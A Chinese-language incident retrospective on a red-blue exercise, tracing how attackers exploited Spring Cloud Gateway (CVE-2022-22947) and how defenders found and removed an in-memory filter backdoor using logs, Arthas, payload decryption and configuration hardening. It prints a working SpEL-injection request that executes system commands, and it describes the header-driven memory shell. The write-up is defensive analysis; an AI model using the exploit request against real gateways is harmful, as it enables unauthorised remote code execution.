红蓝对抗实录(一):边界突破阶段的日志溯源与反制复盘
在大型红蓝对抗与高对抗攻防演练中,边界突破阶段往往是胜负手。攻击队借助高度隐蔽的 0Day/NDay 漏洞组合拳或边缘资产短板瞬间撕开防线;防守蓝队则需要在海量网络告警、应用日志与流量洪峰中迅速识别异常信号,完成“拦截 -> 研判 -> 取证 -> 溯源 -> 反制”的全链路应急响应。
本文基于实战攻防案例,深度复盘一次基于 API 网关 RCE 突破边界的完整攻防对抗过程。
攻击方突破手法深度复盘
本次攻防中,红队将突破口选在某对外开放的聚合服务网关(Spring Cloud Gateway + 后端微服务集群),整个攻击链路分为三个典型阶段:
+-------------------------------------------------------------------+ | 红队攻击突破攻击链路 | +-------------------------------------------------------------------+ | [互联网攻击源 / C2 节点] | | │ (1) 模糊探测: 扫描 API 网关对外路由与 actuator 端点 | | ▼ | | [Spring Cloud Gateway 边界网关] | | │ (2) 漏洞利用: 注入恶意路由规则 (SpEL 表达式执行 CVE-2022-22947)| | ▼ | | [网关执行态内存] ──> (3) 动态注入 Filter 内存马 (无文件落地) | | │ | | ▼ (4) SSRF / 隧道横向 | | [内网核心业务网段] | +-------------------------------------------------------------------+1. 资产侦察与脆弱端点探测
攻击者首先使用定制的自动化指纹扫描工具,对目标域名进行子域名枚举与端口扫描,发现某对外二级域名暴露了未严格授权的/actuator/gateway/routes端点。
2. SpEL 表达式注入实现无文件 RCE
攻击者向网关 Actuator 接口发送恶意POST请求,添加自定义路由配置,并在过滤器中注入恶意 SpEL(Spring Expression Language)表达式:
POST /actuator/gateway/routes/pwn_route HTTP/1.1 Host: api.target-corp.com Content-Type: application/json { "id": "pwn_route", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://127.0.0.1:8080" }随后发送POST /actuator/gateway/refresh刷新路由,触发 SpEL 表达式求值,成功在网关 Java 进程中以应用用户身份执行任意命令。
3. 注入 Spring Gateway Filter 内存马
为避免在宿主机磁盘产生文件落地被 HIDS 扫描,攻击者并未写入 Webshell 文件,而是通过 Base64 编码的二次 Payload 动态向 JVM 容器注入了一个全局网关过滤器(GlobalFilter)内存马,劫持特定 HTTP 头部(如X-Token-Auth)作为隐蔽控制通道。
防守方多维日志关联分析与取证
防守团队在 SIEM 平台收到一条疑似低危的“Actuator 敏感信息探测”告警后,立即启动应急响应协同流,对边缘流量、接入层代理日志与应用审计日志展开多维时间轴对齐。
+-------------------------------------------------------------+ | 蓝队日志关联分析模型 | +-------------------------------------------------------------+ | 1. 边缘 Nginx Access Log (时间戳、URI、状态码、Upstream Time) | | └── 捕捉 /actuator/gateway/routes 异常 POST 201 请求 | +-------------------------------------------------------------+ | 2. WAF 拦截/告警日志 (规则命中、Payload 解码、源 IP 分布) | | └── 提取攻击者原始 HTTP Body 中的 SpEL 表达式代码片段 | +-------------------------------------------------------------+ | 3. Spring Boot 应用 Debug / Error 日志 (堆栈追踪、异常抛出) | | └── 确认 JVM 层面 RouteDefinition 动态重载与表达式编译记录| +-------------------------------------------------------------+1. Nginx 接入日志检索与行为画像
通过对 Nginx 访问日志进行精确时序过滤,还原攻击者的请求上下文:
# 1. 检索针对 actuator 端点的所有非 GET 请求 grep -Ei "actuator" /var/log/nginx/access.log | grep -E "POST|PUT|DELETE" | awk '{print $1, $4, $6, $7, $9, $10}'日志输出记录如下:
103.214.xx.88 [14/Sep/2026:03:12:45 +0800] "POST /actuator/gateway/routes/pwn_route HTTP/1.1" 201 184 "-" "Mozilla/5.0" 103.214.xx.88 [14/Sep/2026:03:12:47 +0800] "POST /actuator/gateway/refresh HTTP/1.1" 200 0 "-" "Mozilla/5.0" 103.214.xx.88 [14/Sep/2026:03:12:48 +0800] "GET /actuator/gateway/routes/pwn_route HTTP/1.1" 200 892 "-" "Mozilla/5.0"分析发现:攻击者在 3 秒内连续完成了“路由注入 -> 刷新生效 -> 执行验证”的三步闭环,返回状态码分别为201 Created和200 OK,证明攻击已经成功执行。
2. JVM 内存马排查与 Arthas 动态诊断
确认存在 RCE 行为后,防守方技术人员立刻登录网关容器,使用阿里开源的 Java 诊断利器 Arthas 进行运行时类与 Filter 检查:
# 启动 Arthas 附加到网关 JVM 进程 ./as.sh <PID> # 查看当前注册的所有 GlobalFilter 实现类 [arthas@1]$ ognl '@org.springframework.web.reactive.DispatcherHandler@class.getDeclaredFields()' [arthas@1]$ vmtool --action getInstances --className org.springframework.cloud.gateway.filter.GlobalFilter --express 'instances.{ #this.getClass().getName() }'诊断结果显示,除了框架自带的RouteToRequestUrlFilter等标准过滤器外,内存中多出了一个名为com.cloud.gateway.security.EncryptedAuthFilter的非官方类。
使用 Arthas 的反编译命令将该内存类直接还原为 Java 代码:
[arthas@1]$ jad com.cloud.gateway.security.EncryptedAuthFilter反编译结果直接暴露出攻击者的内存马后门逻辑:从请求头X-Cmd-Payload获取经过 AES 加密的指令,通过Runtime.getRuntime().exec()执行并将结果经过 Base64 编码写入响应头X-Cmd-Resp中返回。
攻击溯源、载荷反解与反制
掌握攻击载荷与通信逻辑后,蓝队开展针对性反制与溯源工作。
1. 攻击者 IP 资产溯源与画像
通过威胁情报中心与历史 DNS 解析记录对攻击源 IP(103.214.xx.88)进行深度画像:
- 机房归属:某境外 VPS 供应商(经常被红队用作跳板机);
- 开放端口探测:对该 IP 进行反向扫描,发现开放了
8080/tcp(某一开源 C2 服务面板)与22/tcp; - SSL 证书追踪:8080 端口上的 HTTPS 证书 Common Name(CN)包含特定的开发特征字符串
team-red-ops-01,与历史多次演练中的红队攻击队特征完全吻合。
2. 内存马密匙提取与反向载荷欺骗
由于在 Arthas 反编译中提取到了内存马的硬编码 AES 解密密钥:
private static final String KEY = "0123456789abcdef0123456789abcdef";蓝队编写 Python 脚本反向模拟红队客户端的加密协议,直接捕获后续其他请求并进行解密审计:
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from Crypto.Cipher import AES import base64 KEY = b"0123456789abcdef0123456789abcdef" def decrypt_payload(encrypted_b64): raw_data = base64.b64decode(encrypted_b64) iv = raw_data[:16] ciphertext = raw_data[16:] cipher = AES.new(KEY, AES.MODE_CBC, iv) decrypted = cipher.decrypt(ciphertext) # 去除 PKCS7 填充 pad_len = decrypted[-1] return decrypted[:-pad_len].decode('utf-8', errors='ignore') # 提取 WAF 捕获的恶意头部数据 sample_payload = "dGVzdF9pdl9kYXRhMTIzNLK9X8..." print("[*] 攻击者下发指令反解内容:\n", decrypt_payload(sample_payload))应急闭环与纵深防御加固
为彻底消除风险并防止攻击者利用残留通道二次进入,防守方执行了标准化的加固措施:
1. 应急阻断与内存清理
- 网络级阻断:在边界防火墙全局封禁
103.214.xx.88及关联 C2 网段; - 进程热重启:对网关集群执行无缝滚动重启,彻底清除 JVM 内存中常驻的恶意 Filter 实例;
- 关闭敏感端点:修改网关
application.yml配置,严禁暴露 Actuator 危险路由管理接口。
# application.yml 安全加固配置 management: endpoints: web: exposure: include: "health,info,prometheus" # 仅放行健康检查指标 exclude: "gateway,routes,refresh,heapdump,beans" # 严格禁用路由与堆栈端点 endpoint: gateway: enabled: false # 完全关闭 Gateway 管理端点2. 架构级纵深防御与虚拟补丁
- WAF 虚拟补丁部署:在边缘 WAF 配置精准拦截规则,对所有发往
/actuator/gateway/的外部请求直接返回403 Forbidden; - 网络微隔离(Micro-segmentation):网关仅开放与必要后端微服务端口的双向通信,收紧网关容器的出站外联策略(Egress),禁止网关主动向公网发起任意 TCP 连接,从网络层截断反弹 Shell 可能性;
- 容器只读化:启用容器文件系统只读挂载(
readOnlyRootFilesystem: true),剥夺普通运行时写磁盘权限。
通过“日志关联定位缺陷 -> 运行时诊断剥离内存马 -> 密钥提取反解载荷 -> 配置收敛与微隔离闭环”,防守方在 25 分钟内完成了从入侵发现到全面处置加固的实战反制。